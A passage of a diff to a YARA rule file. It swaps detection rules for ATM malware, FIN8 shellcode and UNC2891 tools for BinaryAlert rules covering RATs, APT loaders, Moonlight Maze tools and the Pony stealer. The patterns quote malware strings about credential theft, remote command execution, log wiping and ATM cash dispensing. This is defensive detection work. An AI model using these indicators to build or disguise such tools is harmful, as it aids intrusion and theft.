-		source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/ATM.Malware.ALICE.yar#L1-L22"
-		license_url = "N/A"
-		logic_hash = "7dca049f024f09c2e778b0693a1015d1fc5a006fc564de914e85231cb5d73da3"
+		description = "Rule to detect log cleaners based on utclean.c"
+		author = "Kaspersky Lab"
+		id = "2dc1b796-c8fe-5a87-9d6b-3a322f4a43ab"
+		date = "2017-08-11"
+		modified = "2017-08-11"
+		reference = "http://cd.textfiles.com/cuteskunk/Unix-Hacking-Exploits/utclean.c"
+		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/windows/malware_windows_moonlightmaze_u_logcleaner.yara#L3-L18"
+		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
+		logic_hash = "65fe29075294dfad06f4cca631d5d2f1283c439e9a5913f503fe6e4bb1f5f70a"
 		score = 75
-		quality = 90
+		quality = 80
 		tags = "FILE"
-		hash1 = "6b2fac8331e4b3e108aa829b297347f686ade233b24d94d881dc4eff81b9eb30"
+		md5_1 = "d98796dcda1443a37b124dbdc041fe3b"
+		md5_2 = "73a518f0a73ab77033121d4191172820"
 
 	strings:
-		$String1 = "Project Alice" ascii nocase
-		$String2 = "Can't dispense requested amount." ascii nocase
-		$String3 = "Selected cassette is unavailable" ascii nocase
-		$String4 = "ATM update manager" wide nocase
-		$String5 = "Input PIN-code for access" wide nocase
-		$String6 = "Supervisor ID" wide nocase
-		$Code1 = {50 68 08 07 00 00 6A 00 FF 75 0C FF 75 08 E8}
-		$Code2 = {50 6A 00 FF 75 10 FF 75 0C FF 75 08 E8}
-		$Code3 = {68 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 0B C0 75 29 6A}
+		$a1 = "Hiding complit...n"
+		$a2 = "usage: %s <username> <fixthings> [hostname]"
+		$a3 = "ls -la %s* ; /bin/cp  ./wtmp.tmp %s; rm  ./wtmp.tmp"
 
 	condition:
-		uint16(0)==0x5A4D and filesize <200KB and 4 of ($String*) and all of ($Code*)
+		( uint32(0)==0x464c457f) and ( any of them )
 }
-rule R3C0NST_ATM_Malware_Javadispcash : FILE
+rule BINARYALERT_Malware_Windows_Remcos_Rat
 {
 	meta:
-		description = "Detects ATM Malware JavaDispCash"
-		author = "Frank Boldewin (@r3c0nst)"
-		id = "606d1cb6-7879-569e-ac36-1e2f6a446dc1"
-		date = "2019-03-28"
-		modified = "2019-03-28"
-		reference = "https://twitter.com/r3c0nst/status/1111254169623674882"
-		source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/ATM.Mal.JavaDispCash.yar#L1-L20"
-		license_url = "N/A"
-		logic_hash = "dd7c2ccc85038f3ba563f7f814c03668448b292fde36bcf9d06bf20fd341526f"
+		description = "No description has been set in the source file - BinaryAlert"
+		author = "@mimeframe"
+		id = "420c135f-3150-5cb9-9c1c-105cd260d713"
+		date = "2017-08-11"
+		modified = "2017-08-11"
+		reference = "https://breaking-security.net/remcos/remcos-changelog/"
+		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/windows/malware_windows_remcos_rat.yara#L1-L20"
+		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
+		hash = "c8dafe143fe1d81ae6a3c0cd4724b272"
+		logic_hash = "ec1ec69f628111235bafad8177482256ed571c064a81f01b6ec2643dccc926ad"
 		score = 75
-		quality = 74
-		tags = "FILE"
-		hash1 = "0149667c0f8cbfc216ef9d1f3154643cbbf6940e6f24a09c92a82dd7370a5027"
-		hash2 = "ef407db8c79033027858364fd7a04eeb70cf37b7c3a10069a92bae96da88dfaa"
+		quality = 80
+		tags = ""
 
 	strings:
-		$CashInfo = "getNumberOfCashUnits" nocase ascii wide
-		$Dispense = "waitforbillstaken" nocase ascii wide
-		$Inject = "No code to inject!" nocase ascii wide
-		$config = ".Agentcli" nocase ascii wide
-		$log1 = "logft.log" nocase ascii wide
-		$log2 = ".loginside" nocase ascii wide
+		$a1 = "[Following text has been pasted from clipboard:]" wide ascii
+		$a2 = "[Chrome StoredLogins found, cleared!]" wide ascii
+		$a3 = "[Firefox StoredLogins cleared!]" wide ascii
+		$b1 = "getclipboard" wide ascii
+		$b2 = "stopmiccapture" wide ascii
+		$b3 = "downloadfromurltofile" wide ascii
+		$b4 = "getcamsingleframe" wide ascii
+		$c1 = "Breaking-Security.Net" wide ascii
+		$c2 = "REMCOS v" wide ascii
 
 	condition:
-		uint16(0)==0x4B50 and filesize <500KB and all of them
+		any of ($a*) or 3 of ($b*) or all of ($c*)
 }
-rule R3C0NST_UNC2891_Caketap
+rule BINARYALERT_Malware_Windows_Moonlightmaze_De_Tool
 {
 	meta:
-		description = "Detects UNC2891 Rootkit Caketap"
-		author = "Frank Boldewin (@r3c0nst)"
-		id = "9c2ffe3d-69ca-5f93-bdb1-40e449139dec"
-		date = "2022-03-30"
-		modified = "2023-01-05"
-		reference = "https://github.com/fboldewin/YARA-rules/"
-		source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/UNC2891_Caketap.yar#L1-L16"
-		license_url = "N/A"
-		logic_hash = "530a7d062a218217d2c05460428b2576c3fe2a6099c93940aabde73c513a8914"
+		description = "Rule to detect Moonlight Maze 'de' and 'deg' tunnel tool"
+		author = "Kaspersky Lab"
+		id = "8b943c21-eac7-521d-8dc6-90d611aa4d92"
+		date = "2017-08-11"
+		modified = "2017-08-11"
+		reference = "https://en.wikipedia.org/wiki/Moonlight_Maze"
+		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/windows/malware_windows_moonlightmaze_de_tool.yara#L1-L16"
+		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
+		logic_hash = "836331856200fde9792d3bf97d3a18b7f4497ceaae1cfceb0de7c2949e315b9c"
 		score = 75
-		quality = 88
+		quality = 80
 		tags = ""
+		md5_1 = "4bc7ed168fb78f0dc688ee2be20c9703"
+		md5_2 = "8b56e8552a74133da4bc5939b5f74243"
 
 	strings:
-		$str1 = ".caahGss187" ascii fullword
-		$str2 = "ipstat" ascii
-		$code1 = {41 80 7E 06 4B 75 ?? 41 80 7E 07 57 75 ?? 41 0F B6 46 2B}
-		$code2 = {41 C6 46 01 3D 41 C6 46 08 32}
+		$a1 = "Vnuk: %d" ascii fullword
+		$a2 = "Syn: %d" ascii fullword
+		$a3 = {25 73 0A 25 73 0A 25 73 0A 25 73 0A}
 
 	condition:
-		uint32(0)==0x464c457f and ( all of ($code*) or ( all of ($str*) and #str2==2))
+		2 of ($a*)
 }
-rule R3C0NST_ATM_Malware_Xfscashncr : FILE
+rule BINARYALERT_Malware_Windows_T3Ntman_Crunchrat
 {
 	meta:
-		description = "Detects ATM Malware XFSCashNCR"
-		author = "Frank Boldewin (@r3c0nst)"
-		id = "8886cd00-4f4a-5f25-99e0-0806f5e1b4b4"
-		date = "2019-08-28"
-		modified = "2019-08-28"
-		reference = "https://twitter.com/r3c0nst/status/1166773324548063232"
-		source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/ATM.Malware.XFSCashNCR.yar#L1-L21"
-		license_url = "N/A"
-		logic_hash = "87f197058d4b515cb4829b5e403a96b88eb95cda81e53a9e1484df8c743d8c4a"
+		description = "HTTPS-based Remote Administration Tool (RAT)"
+		author = "@mimeframe"
+		id = "c5b0d183-8822-505a-a1ff-7d6f75a3f174"
+		date = "2017-09-12"
+		modified = "2017-09-12"
+		reference = "https://github.com/t3ntman/CrunchRAT"
+		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/windows/malware_windows_t3ntman_crunchrat.yara#L1-L19"
+		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
+		logic_hash = "b5216b2b30d22f3d3848e1fb6e4245c558366fb8cd35b70f10fa4e605e211204"
 		score = 75
-		quality = 90
-		tags = "FILE"
-		hash1 = "d6dff67a6b4423b5721908bdcc668951f33b3c214e318051c96e8c158e8931c0"
+		quality = 80
+		tags = ""
 
 	strings:
-		$Code1 = {50 8b 4d e8 8b 51 10 52 6a 00 68 2d 01 00 00 8b 45 e8 0f b7 48 1c 51 e8}
-		$Code2 = {52 8d 45 d0 50 68 2e 01 00 00 8b 4d e8 0f b7 51 1c 52 e8}
-		$StatusMessage1 = "[+] Ingrese Denominacion ISO" nocase ascii
-		$StatusMessage2 = "[+] Ingrese numero de billetes" nocase ascii
-		$StatusMessage3 = "[!] FAIL.. dispensadores no encontrados" nocase ascii
-		$StatusMessage4 = "[!] Unable continue, IMPOSIBLE abrir dispenser" nocase ascii
-		$PDB = "C:\\Users\\cyttek\\Downloads\\xfs_cashXP\\Debug\\xfs_cash_ncr.pdb" nocase ascii
-		$LogFile = "XfsLog.txt" nocase ascii
+		$a1 = "<action>command<action>" wide ascii
+		$a2 = "<action>upload<action>" wide ascii
+		$a3 = "<action>download<action>" wide ascii
+		$a4 = "cmd.exe" wide ascii
+		$a5 = "application/x-www-form-urlencoded" wide ascii
+		$a6 = "&action=" wide ascii
+		$a7 = "&secondary=" wide ascii
+		$a8 = "<secondary>" wide ascii
+		$a9 = "<action>" wide ascii
 
 	condition:
-		uint16(0)==0x5A4D and filesize <1500KB and 4 of them
+		all of ($a*)
 }
-rule R3C0NST_Shellcode_Apihashing_FIN8
+rule BINARYALERT_Malware_Windows_Apt_Red_Leaves_Generic
 {
 	meta:
-		description = "Detects FIN8 Shellcode APIHashing"
-		author = "Frank Boldewin (@r3c0nst)"
-		id = "a5b4a925-c4cc-5d3a-a2f1-3372f77ceea2"
-		date = "2021-03-16"
-		modified = "2021-03-25"
-		reference = "https://www.bitdefender.com/files/News/CaseStudies/study/394/Bitdefender-PR-Whitepaper-BADHATCH-creat5237-en-EN.pdf"
-		source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/Shellcode.APIHashing.FIN8.yar#L1-L74"
-		license_url = "N/A"
-		logic_hash = "958d6a3c0c78ad22fb56896d6a97b9fe79c56813dc36a37385f3ce5621008624"
+		description = "Red Leaves malware, related to APT10"
+		author = "David Cannings"
+		id = "e0067b05-eb4a-52ec-8f35-9336a631f03b"
+		date = "2017-09-12"
+		modified = "2017-09-12"
+		reference = "https://github.com/nccgroup/Cyber-Defence/blob/master/Technical%20Notes/Red%20Leaves/Source/Red%20Leaves%20technical%20note%20v1.0.md"
+		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/windows/malware_windows_apt_red_leaves_generic.yara#L1-L27"
+		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
+		hash = "81df89d6fa0b26cadd4e50ef5350f341"
+		logic_hash = "be03bba9d01e6584b5849514656fd7de866c478f343c0bc618d7dbeda1771696"
 		score = 75
-		quality = 90
+		quality = 80
 		tags = ""
 
 	strings:
-		$APIHashing32bit1 = {68 F2 55 03 88 68 65 19 6D 1E}
-		$APIHashing32bit2 = {68 9B 59 27 21 C1 E9 17 33 4C 24 10 68 37 5C 32 F4}
-		$APIHashing64bit = {49 BF 65 19 6D 1E F2 55 03 88 49 BE 37 5C 32 F4 9B 59 27 21}
+		$a1 = "Feb 04 2015"
+		$a2 = "I can not start %s"
+		$a3 = "dwConnectPort" fullword
+		$a4 = "dwRemoteLanPort" fullword
+		$a5 = "strRemoteLanAddress" fullword
+		$a6 = "strLocalConnectIp" fullword
+		$a7 = "\\\\.\\pipe\\NamePipe_MoreWindows" wide
+		$a8 = "RedLeavesCMDSimulatorMutex" wide
+		$a9 = "(NT %d.%d Build %d)" wide
+		$a10 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)" wide
+		$a11 = "red_autumnal_leaves_dllmain.dll" wide ascii
+		$a12 = "__data" wide
+		$a13 = "__serial" wide
+		$a14 = "__upt" wide
+		$a15 = "__msgid" wide
 
 	condition:
-		all of ($APIHashing32bit*) or $APIHashing64bit
+		7 of ($a*)
 }
-rule R3C0NST_UNC2891_Winghook : FILE
+import "pe"
+
+rule BINARYALERT_Malware_Windows_Moonlightmaze_IRIX_Exploit_GEN : FILE
 {
 	meta:
-		description = "Detects UNC2891 Winghook Keylogger"
-		author = "Frank Boldewin (@r3c0nst)"
-		id = "e5955fa0-8204-58e3-88a6-de4b47756ede"
-		date = "2022-03-30"
-		modified = "2023-01-05"
-		reference = "https://github.com/fboldewin/YARA-rules/"
-		source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/UNC2891_Winghook.yar#L1-L17"
-		license_url = "N/A"
-		logic_hash = "b821d0809a91c54d06764f5a04c458ec7190b41823b2fe65d198342715f22050"
+		description = "Rule to detect Irix exploits from David Hedley used by Moonlight Maze hackers"
+		author = "Kaspersky Lab"
+		id = "4f9ab7b0-4fb9-5311-ae23-01d0a9e2e104"
+		date = "2017-08-11"
+		modified = "2017-08-11"
+		reference = "https://www.exploit-db.com/exploits/19274/"
+		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/windows/malware_windows_moonlightmaze_IRIX_exploit_GEN.yara#L3-L20"
+		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
+		logic_hash = "9d55d780c84f2aa4e64c19842b2055ef4bf7c8844ebe622c3942445b06ab8344"
 		score = 75
-		quality = 90
+		quality = 80
 		tags = "FILE"
-		hash1 = "d071ee723982cf53e4bce89f3de5a8ef1853457b21bffdae387c4c2bd160a38e"
+		md5_1 = "008ea82f31f585622353bd47fa1d84be"
+		md5_2 = "a26bad2b79075f454c83203fa00ed50c"
+		md5_3 = "f67fc6e90f05ba13f207c7fdaa8c2cab"
+		md5_4 = "5937db3896cdd8b0beb3df44e509e136"
+		md5_5 = "f4ed5170dcea7e5ba62537d84392b280"
 
 	strings:
-		$code1 = {01 F9 81 E1 FF 00 00 00 41 89 CA [15] 44 01 CF 81 E7 FF 00 00 00}
-		$code2 = {83 E2 0F 0F B6 14 1? 32 14 01 88 14 0? 48 83 ?? ?? 48 83 ?? ?? 75}
-		$str1 = "fgets" ascii
-		$str2 = "read" ascii
+		$a1 = "stack = 0x%x, targ_addr = 0x%x"
+		$a2 = "execl failed"
 
 	condition:
-		uint32(0)==0x464c457f and filesize <100KB and 1 of ($code*) and all of ($str*)
+		( uint32(0)==0x464c457f) and ( all of them )
 }
-rule R3C0NST_ATM_Malware_Dispcashbr : FILE
+rule BINARYALERT_Malware_Windows_Moonlightmaze_Loki
 {
 	meta:
-		description = "Detects ATM Malware DispCashBR"
-		author = "Frank Boldewin (@r3c0nst)"
-		id = "17d22120-0ca2-5b27-9816-21ab4a6fb20c"
-		date = "2020-02-27"
-		modified = "2020-08-17"
-		reference = "https://twitter.com/r3c0nst/status/1232944566208286720"
-		source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/ATM.Malware.DispCashBR.yar#L1-L21"
-		license_url = "N/A"
-		logic_hash = "3fb5d62cb779ddc13e9b938290dfa9d2a3353d7969e639a662c1bcaca945de4d"
+		description = "Rule to detect Moonlight Maze Loki samples by custom attacker-authored strings"
+		author = "Kaspersky Lab"
+		id = "06eeb6a4-540f-51eb-86f9-4ab49543f645"
+		date = "2017-08-11"
+		modified = "2017-08-11"
+		reference = "https://en.wikipedia.org/wiki/Moonlight_Maze"
+		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/windows/malware_windows_moonlightmaze_loki.yara#L1-L27"
+		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
+		logic_hash = "9a403695ded6ff3626820ba0d4abde7ccd6f3fa6bfd8aa4ceaf0cc009d34c97f"
 		score = 75
-		quality = 90
-		tags = "FILE"
-		hash1 = "7cea6510434f2c8f28c9dbada7973449bb1f844cfe589cdc103c9946c2673036"
+		quality = 80
+		tags = ""
+		md5_1 = "14cce7e641d308c3a177a8abb5457019"
+		md5_2 = "a3164d2bbc45fb1eef5fde7eb8b245ea"
+		md5_3 = "dabee9a7ea0ddaf900ef1e3e166ffe8a"
+		md5_4 = "1980958afffb6a9d5a6c73fc1e2795c2"
+		md5_5 = "e59f92aadb6505f29a9f368ab803082e"
 
 	strings:
-		$String1 = "(*) Dispensando: %lu" ascii nocase
-		$String2 = "COMANDO EXECUTADO COM SUCESSO" ascii nocase
-		$String3 = "[+] FOI SACADO:  %lu R$ [+]" ascii nocase
-		$DbgStr1 = "_Get_Information_cdm_cuinfo" ascii nocase
-		$DbgStr2 = "_GET_INFORMATION_SHUTTER" ascii nocase
-		$Code1 = {C7 44 24 08 00 00 00 00 C7 44 24 04 2F 01 00 00 89 04 24 E8}
-		$Code2 = {C7 44 24 08 00 00 00 00 C7 44 24 04 17 05 00 00 89 04 24 E8}
-		$Code3 = {89 4C 24 08 C7 44 24 04 2E 01 00 00 89 04 24 E8}
+		$a1 = "Write file Ok..." ascii wide
+		$a2 = "ERROR: Can not open socket...." ascii wide
+		$a3 = "Error in parametrs:" ascii wide
+		$a4 = "Usage: @<get/put> <IP> <PORT> <file>" ascii wide
+		$a5 = "ERROR: Not connect..." ascii wide
+		$a6 = "Connect successful...." ascii wide
+		$a7 = "clnt <%d> rqstd n ll kll" ascii wide
+		$a8 = "clnt <%d> rqstd swap" ascii wide
+		$a9 = "cld nt sgnl prcs grp" ascii wide
+		$a10 = "cld nt sgnl prnt" ascii wide
+		$a11 = "ork error" ascii fullword
 
 	condition:
-		uint16(0)==0x5A4D and filesize <100KB and 2 of ($String*) and 1 of ($DbgStr*) and all of ($Code*)
+		2 of ($a*)
 }
-import "pe"
-
-rule R3C0NST_Nighthawk_RAT : FILE
+rule BINARYALERT_Malware_Windows_Apt_Whitebear_Binary_Loader_2
 {
 	meta:
-		description = "Detects Nighthawk RAT"
-		author = "Frank Boldewin (@r3c0nst)"
-		id = "7a58b8bf-fb14-5758-bc2a-ad2c6fff1216"
-		date = "2022-11-30"
-		modified = "2022-11-30"
-		reference = "https://www.proofpoint.com/us/blog/threat-insight/nighthawk-and-coming-pentest-tool-likely-gain-threat-actor-notice"
-		source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/nighthawk.yar#L3-L28"
-		license_url = "N/A"
-		logic_hash = "5124f7c0186f40cf0a7706e17afe6ba791ca82ac4f4ee940f6fbae5223771a95"
+		description = "The WhiteBear loader contains a set of messaging and injection components that support continued presence on victim hosts"
+		author = "@fusionrace"
+		id = "d97b7fe1-7ff3-5cc0-9085-140ed523421f"
+		date = "2017-09-12"
+		modified = "2017-09-12"
+		reference = "https://securelist.com/introducing-whitebear/81638/"
+		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/windows/malware_windows_apt_whitebear_binary_loader_2.yara#L1-L17"
+		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
+		hash = "06bd89448a10aa5c2f4ca46b4709a879"
+		logic_hash = "9bb7fc3b3bf7f91efbba128895bb61b5a1bbdb6625d84836956de5e884ae3fe1"
 		score = 75
-		quality = 90
-		tags = "FILE"
-		hash1 = "0551ca07f05c2a8278229c1dc651a2b1273a39914857231b075733753cb2b988"
-		hash2 = "9a57919cc5c194e28acd62719487c563a8f0ef1205b65adbe535386e34e418b8"
-		hash3 = "38881b87826f184cc91559555a3456ecf00128e01986a9df36a72d60fb179ccf"
-		hash4 = "f3bba2bfd4ed48b5426e36eba3b7613973226983a784d24d7a20fcf9df0de74e"
-		hash5 = "b775a8f7629966592cc7727e2081924a7d7cf83edd7447aa60627a2b67d87c94"
+		quality = 80
+		tags = ""
 
 	strings:
-		$pattern1 = { 48 8d 0d ?? ?? ?? ?? 51 5a 48 81 c1 ?? ?? ?? ?? 48 81 c2 ?? ?? ?? ?? ff e2 }
-		$pattern2 = { 66 03 D2 66 33 D1 66 C1 E2 02 66 33 D1 66 23 D0 0F B7 C1 }
-		$pattern3 = { FF 7F 48 3B F0 48 0F 47 F0 48 8D }
-		$pattern4 = { 65 48 8B 04 25 30 00 00 00 8B 40 68 49 89 CA 0F 05 C3 }
-		$pattern5 = { 48 B8 AA AA AA AA AA AA AA 02 48 ?? ?? ?? ?? 0F 84 }
-		$pattern6 = { 65 48 8B 04 25 30 00 00 00 48 8B 80 }
+		$b1 = "i cunt waiting anymore #%d" wide ascii
+		$b2 = "lights aint turnt off with #%d" wide ascii
+		$b3 = "Not find process" wide ascii
+		$b4 = "CMessageProcessingSystem::Receive_TAKE_NOP" wide ascii
+		$b5 = "CMessageProcessingSystem::Receive_TAKE_CAN_NOT_WORK" wide ascii
 
 	condition:
-		uint16(0)==0x5A4D and filesize <2MB and (3 of ($pattern*) or (pe.section_index(".profile") and pe.section_index(".detourc") and pe.section_index(".detourd")))
+		3 of ($b*)
 }
-rule R3C0NST_ATM_Malware_XFS_DIRECT : FILE
+rule BINARYALERT_Malware_Windows_Apt_Whitebear_Binary_Loader_1
 {
 	meta:
-		description = "Detects ATM Malware XFS_DIRECT"
-		author = "Frank Boldewin (@r3c0nst)"
-		id = "d1551c50-d3d2-56fd-a6b7-198d3a26ac72"
-		date = "2019-10-18"
-		modified = "2019-10-19"
-		reference = "https://twitter.com/r3c0nst/status/1185237040583106560"
-		source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/ATM.Malware.XFS_DIRECT.yar#L1-L37"
-		license_url = "N/A"
-		logic_hash = "844a334d0eb8516c0ef3780e48e3dbc8e23d41c80bdff10f01407b775e72709e"
+		description = "The WhiteBear loader contains a set of messaging and injection components that support continued presence on victim hosts"
+		author = "@fusionrace"
+		id = "6b5709fd-a923-56b6-98ab-ae036f9d04c3"
+		date = "2017-09-12"
+		modified = "2017-09-12"
+		reference = "https://securelist.com/introducing-whitebear/81638/"
+		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/windows/malware_windows_apt_whitebear_binary_loader_1.yara#L1-L22"
+		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
+		hash = "b099b82acb860d9a9a571515024b35f0"
+		logic_hash = "f6706c66a378b80d3cedf118a812d8add60e12b44402a30d941d08ff30c7ab1c"
 		score = 75
-		quality = 90
-		tags = "FILE"
-		hash1 = "3e023949fecd5d06b3dff9e86e6fcac6a9ec6c805b93118db43fb4e84fe43ee0"
-		hash2 = "303f2a19b286ca5887df2a334f22b5690dda9f092e677786e2a8879044d8ad11"
-		hash3 = "15d50938e51ee414124314095d3a27aa477f40413f83d6a2b2a2007efc5a623a"
-		hash4 = "0f9cb4dc1ac2777be30145c3271c95a027758203d0de245ec390037f7325d79d"
-		hash5 = "141ae291ddae60fd1b232f543bc9b40f3a083521cd7330c427bb8fc5cdd23966"
-		hash6 = "66eb1a8134576db05382109eec7e297149f25a021aba5171d2f99aa49c381456"
-		hash7 = "ac20b12beefb2036595780aaf7ec29203e2e09b6237d93cd26eaa811cebd6665"
-		hash8 = "901fc474f50eb62edc526593208a7eec4df694e342ffc5b895d1dcec953c6899"
-		hash9 = "56548c26741b25b15c27a0de498c5e04c69b0c9250ba35e3a578bc2f05eedd07"
-		hash10 = "c89f1d562983398ab2d6dd75e4e30cc0e95eab57cdf48c4a17619dca9ecc0748"
+		quality = 80
+		tags = ""
 
 	strings:
-		$EncLayer1 = {0F B6 51 FC 30 50 FF 0F B6 11 30 10 0F B6 51 04 30 50 01 0F B6 51 08 30 50 02}
-		$EncLayer2 = {B8 4D 5A 00 00 89 33 66 39 06 75 ?? 8b ?? 3c}
-		$String1 = "NOW ENTER MASTER KEY" ascii nocase
-		$String2 = "Closing app, than delete myself." ascii nocase
-		$String3 = "Number of phisical cash units is:" ascii nocase
-		$String4 = "COULD NOT ENABLE or DISABLE connection" ascii nocase
-		$String5 = "XFS_DIRECT" ascii nocase
-		$String6 = "Take the money you snicky mother fucker :)" ascii nocase
-		$String7 = "ATM IS TEMPORARILY OUT OF SERVICE!" wide nocase
-		$Code1 = {D1 F8 89 44 24 10 DB 44 24 10 DC 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 35 2F 81 0B 00 A3}
-		$Code2 = {8B ?? ?? ?? 68 2E 01 00 00 52 C7 ?? 06 01 00 00 00}
+		$a1 = "### PE STORAGE ###" wide ascii
+		$a2 = "### CRYPTO 0 ###" wide ascii
+		$a3 = "### EXTERNAL STORAGE ###" wide ascii
+		$a4 = "### CRYPTO 1 ###" wide ascii
+		$a5 = "### QUEUES ###" wide ascii
+		$a6 = "### TRANSPORT ###" wide ascii
+		$a7 = "### EXECUTION SUBSYSTEM ###" wide ascii
+		$a8 = "### AUTORUN MANAGER ###" wide ascii
+		$a9 = "### INJECT MANAGER ###" wide ascii
+		$a10 = "### LOCAL TRANSPORT MANAGER ###" wide ascii
 
 	condition:
-		uint16(0)==0x5A4D and ( filesize <1500KB and all of ($EncLayer*)) or ( filesize <300KB and 4 of ($String*) and all of ($Code*))
+		6 of ($a*)
 }
-rule R3C0NST_Aplib_Decompression : FILE
+rule BINARYALERT_Malware_Windows_Pony_Stealer
 {
 	meta:
-		description = "Detects aPLib decompression code often used in malware"
-		author = "@r3c0nst"
-		id = "f45c73f5-d316-5fea-a8c4-fd930733415f"
-		date = "2021-03-24"
-		modified = "2021-03-25"
-		reference = "https://ibsensoftware.com/files/aPLib-1.1.1.zip"
-		source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/aPLib_decompression.yar#L1-L16"
-		license_url = "N/A"
-		logic_hash = "1150701724fdb487ebe8fb959afd12fff37a8e9137cb94e78e976a2566ec5fa4"
+		description = "Pony stealer malware"
+		author = "@mimeframe"
+		id = "77af81cb-36c7-56a7-bd89-14d79628e5c4"
+		date = "2017-08-11"
+		modified = "2017-08-11"
+		reference = "https://www.knowbe4.com/pony-stealer"
+		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/windows/malware_windows_pony_stealer.yara#L1-L21"
+		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
+		hash = "5e52ce394c3be2a685dbb8f435e2f64f"
+		logic_hash = "4d4e28e0d4d97412a9129a4abfadc130a464a2ababf46ca8f366a2a30b262261"
 		score = 75
-		quality = 90
-		tags = "FILE"
+		quality = 50
+		tags = ""
 
 	strings:
-		$pattern1 = { FC B2 80 31 DB A4 B3 02 }
-		$pattern2 = { AC D1 E8 74 ?? 11 C9 EB }
-		$pattern3 = { 73 0A 80 FC 05 73 ?? 83 F8 7F 77 }
+		$a1 = "signons.sqlite" nocase wide ascii
+		$a2 = "signons.txt" nocase wide ascii
+		$a3 = "signons2.txt" nocase wide ascii
+		$a4 = "signons3.txt" nocase wide ascii
+		$a5 = "WininetCacheCredentials" nocase wide ascii
+		$a6 = "moz_logins" nocase wide ascii
+		$a7 = "encryptedPassword" nocase wide ascii
+		$a8 = "FlashFXP" nocase wide ascii
+		$a9 = "BulletProof" nocase wide ascii
+		$a10 = "CuteFTP" nocase wide ascii
 
 	condition:
-		filesize <10MB and all of them
+		all of ($a*)
 }
-rule R3C0NST_ATM_Malware_Loup : FILE
+rule BINARYALERT_Malware_Windows_Xrat_Quasarrat
 {
 	meta:
-		description = "Detects ATM Malware Loup"
-		author = "Frank Boldewin (@r3c0nst)"
-		id = "4786362f-b2c5-5b69-8b06-9216561286e6"
-		date = "2020-08-17"
-		modified = "2020-08-17"
-		reference = "https://twitter.com/r3c0nst/status/1295275546780327936"
-		source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/ATM.Malware.Loup.yar#L1-L16"
-		license_url = "N/A"
-		hash = "6c9e9f78963ab3e7acb43826906af22571250dc025f9e7116e0201b805dc1196"
-		logic_hash = "39efced4ee3a6147acf5732e4be3a5e9859268b35b79f5e8e87d7c4d77a588c0"
+		description = "xRAT is a derivative of QuasarRAT; this catches both RATs."
+		author = "@mimeframe"
+		id = "f4db2402-3653-5525-a137-de2de29cef28"
+		date = "2017-09-12"
+		modified = "2017-09-12"
+		reference = "https://github.com/quasar/QuasarRAT"
+		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/windows/malware_windows_xrat_quasarrat.yara#L1-L31"
+		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
+		logic_hash = "92533157a62ccae5d1bdc9d0bb7511817422c6b5d75d013a15173cd1121d099e"
 		score = 75
-		quality = 90
